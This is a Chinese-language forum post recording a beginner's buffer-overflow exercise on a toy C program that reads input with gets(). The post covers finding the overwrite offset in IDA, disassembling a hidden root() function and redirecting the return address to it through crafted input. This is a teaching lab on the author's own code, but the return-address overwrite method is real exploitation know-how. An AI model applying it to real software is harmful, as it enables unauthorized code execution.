源程序是在书上看到的.自己写了下调试过程.不知道这是不是个思路
测试环境:
Microsoft Windows XP [版本 5.1.2600]
测试的代码:
#include <stdio.h>
#include <string.h>
void root()
{
printf("your have a root!\n");
}
main()
{
char passwd[16];char login[16];
printf("login:");gets(login);
printf("passwd:");gets(passwd);
if (!strcmp(login,"bob") && ~strcmp(passwd,"god"))
printf("hello,bob!\n");
return 0;
}
编译并用IDA加载运行,当我们输入的用户名跟密码不正确的时候,程序直接跳出。但是如果用特殊字符覆盖的话,如在login:=aaaaaaaaaaaaaaaa pass:=bbbbbbbbbbbbbbbb56789123,程序将出错并退出.
Ida断下,并显示错误信息:
我们可以知道0x33323139分别对应着3 2 1 9这几个数字。那么可以猜测溢出点应该是出在pass函数上16+4后的位置上。
用IDA反汇编后,我们可以在里面看到一个root相关的函数。但是我们却没有办法使用他,即使是我们输入正确的用户名跟密码。于是我们可以想办法让指针跳转到root函数的返回地址上去执行程序。通过反汇编后,我们看到的root相关代码如下:
.text:00401005 ; [00000005 BYTES: COLLAPSED FUNCTION _main. PRESS KEYPAD "+" TO EXPAND]
.text:0040100A ; ---------------------------------------------------------------------------
.text:0040100A jmp root
.text:0040100A
.text:0040100A ; ---------------------------------------------------------------------------
.text:0040100F align 10h
.text:00401010 dd 4 dup(0CCCCCCCCh)
.text:00401020
.text:00401020 ; *************** S U B R O U T I N E ***************************************
.text:00401020
.text:00401020 ; Attributes: bp-based frame
.text:00401020
.text:00401020 root proc near ; CODE XREF: .text:0040100A j
.text:00401020
.text:00401020 var_40 = dword ptr -40h
.text:00401020
.text:00401020 push ebp
.text:00401021 mov ebp, esp
.text:00401023 sub esp, 40h
.text:00401026 push ebx
.text:00401027 push esi
.text:00401028 push edi
.text:00401029 lea edi, [ebp+var_40]
.text:0040102C mov ecx, 10h
.text:00401031 mov eax, 0CCCCCCCCh
.text:00401036 rep stosd
.text:00401038 push offset s_YourHaveARoot ; "your have a root!\n"
.text:0040103D call printf
.text:0040103D
.text:00401042 add esp, 4
.text:00401045 pop edi
.text:00401046 pop esi
.text:00401047 pop ebx
.text:00401048 add esp, 40h
.text:0040104B cmp ebp, esp
.text:0040104D call __chkesp
.text:0040104D
.text:00401052 mov esp, ebp
.text:00401054 pop ebp
.text:00401055 retn
.text:00401055
.text:00401055 root endp
.text:00401055
从上面的代码分析来看,root返回函数的地址是在00401020,根据堆栈的原理,我们可以知道真实的写入应该是20 10 40.由于这些地址都是16进制的,所以在输入的时候,可以利用组合键<ALT>+<0,3,2>(按住并保持<ALT>,输入0,3,2后在松开)
测试过程及最终结果
退出时显示出错的信息
程序将立即崩溃,因为栈上有垃圾数据了.
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课